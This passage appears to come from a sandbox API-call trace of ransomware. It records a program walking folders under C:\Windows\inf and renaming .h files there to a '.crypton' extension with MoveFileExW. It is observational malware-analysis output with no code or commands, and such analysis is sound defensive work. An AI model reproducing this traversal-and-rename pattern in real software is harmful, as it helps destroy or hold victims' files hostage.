ftLastAccessTime.dwLowDateTime=0x14b7d9c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b7d9c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.947] GetFileType (hFile=0x178) returned 0x1 [0253.952] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0012\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14ba3b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ba3b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.953] GetFileType (hFile=0x178) returned 0x1 [0253.957] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0013\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14ba3b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ba3b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.959] GetFileType (hFile=0x178) returned 0x1 [0253.963] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0014\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14ba3b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ba3b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.963] GetFileType (hFile=0x178) returned 0x1 [0253.968] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0015\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14bc9c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14bc9c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.971] GetFileType (hFile=0x178) returned 0x1 [0253.976] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0019\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14bc9c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14bc9c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.978] GetFileType (hFile=0x178) returned 0x1 [0253.983] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\001D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14befde0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14befde0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.984] GetFileType (hFile=0x178) returned 0x1 [0253.988] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\001F\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14befde0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14befde0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.989] GetFileType (hFile=0x178) returned 0x1 [0253.993] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0404\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14befde0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14befde0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.994] GetFileType (hFile=0x178) returned 0x1 [0253.998] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0416\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14c15f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c15f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.999] GetFileType (hFile=0x178) returned 0x1 [0254.003] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0804\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14c15f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c15f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.004] GetFileType (hFile=0x178) returned 0x1 [0254.008] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0816\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14c15f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c15f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.022] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\_NetworkingPerfCounters.h" (normalized: "c:\\windows\\inf\\.net clr networking 4.0.0.0\\_networkingperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\_NetworkingPerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\.net clr networking 4.0.0.0\\_networkingperfcounters.h.crypton"), dwFlags=0x2) returned 1 [0254.031] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Data Provider for Oracle\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14c62200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c62200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.031] GetFileType (hFile=0x178) returned 0x1 [0254.035] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Data Provider for Oracle\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14c62200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c62200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.036] GetFileType (hFile=0x178) returned 0x1 [0254.041] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Data Provider for Oracle\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x14c62200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c62200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.042] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0254.042] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0254.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0254.042] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0254.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0254.042] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0254.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0254.042] CloseHandle (hObject=0x178) returned 1 [0254.050] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Data Provider for SqlServer\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14c88360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c88360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.050] GetFileType (hFile=0x178) returned 0x1 [0254.056] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Data Provider for SqlServer\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14c88360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14c88360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.057] GetFileType (hFile=0x178) returned 0x1 [0254.063] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Data Provider for SqlServer\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x14cae4c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14cae4c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.064] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0254.064] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0254.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0254.064] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0254.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0254.064] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0254.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0254.064] CloseHandle (hObject=0x178) returned 1 [0254.071] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Memory Cache 4.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3b73260, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14cae4c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14cae4c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.073] GetFileType (hFile=0x178) returned 0x1 [0254.078] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET Memory Cache 4.0\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3b73260, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14cd4620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14cd4620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.080] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\.NET Memory Cache 4.0\\netmemorycache.h" (normalized: "c:\\windows\\inf\\.net memory cache 4.0\\netmemorycache.h"), lpNewFileName="C:\\\\Windows\\inf\\.NET Memory Cache 4.0\\netmemorycache.h.crypton" (normalized: "c:\\windows\\inf\\.net memory cache 4.0\\netmemorycache.h.crypton"), dwFlags=0x2) returned 1 [0254.090] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NETFramework\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14cfa780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14cfa780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.091] GetFileType (hFile=0x178) returned 0x1 [0254.097] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NETFramework\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14cfa780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14cfa780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.098] GetFileType (hFile=0x178) returned 0x1 [0254.103] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NETFramework\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x14cfa780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14cfa780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.105] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0254.105] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0254.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0254.105] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0254.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0254.105] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0254.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0254.105] CloseHandle (hObject=0x178) returned 1 [0254.115] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14d208e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14d208e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.116] GetFileType (hFile=0x178) returned 0x1 [0254.122] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14d46a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14d46a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.127] GetFileType (hFile=0x178) returned 0x1 [0254.133] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0001\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14d46a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14d46a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.134] GetFileType (hFile=0x178) returned 0x1 [0254.140] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14d6cba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14d6cba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.141] GetFileType (hFile=0x178) returned 0x1 [0254.147] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0006\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14d6cba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14d6cba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.148] GetFileType (hFile=0x178) returned 0x1 [0254.154] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0007\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14d92d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14d92d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.155] GetFileType (hFile=0x178) returned 0x1 [0254.161] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0008\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14d92d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14d92d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.162] GetFileType (hFile=0x178) returned 0x1 [0254.188] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ddefc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ddefc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.189] GetFileType (hFile=0x178) returned 0x1 [0254.194] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\000A\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14ddefc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ddefc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.194] GetFileType (hFile=0x178) returned 0x1 [0254.200] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\000B\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e05120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e05120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.201] GetFileType (hFile=0x178) returned 0x1 [0254.206] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\000C\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e05120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e05120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.206] GetFileType (hFile=0x178) returned 0x1 [0254.211] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\000D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x14e05120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14e05120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.212] GetFileType (hFile=0x178) returned 0x1 [0254.217] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ASP.NET\\000E\\*", 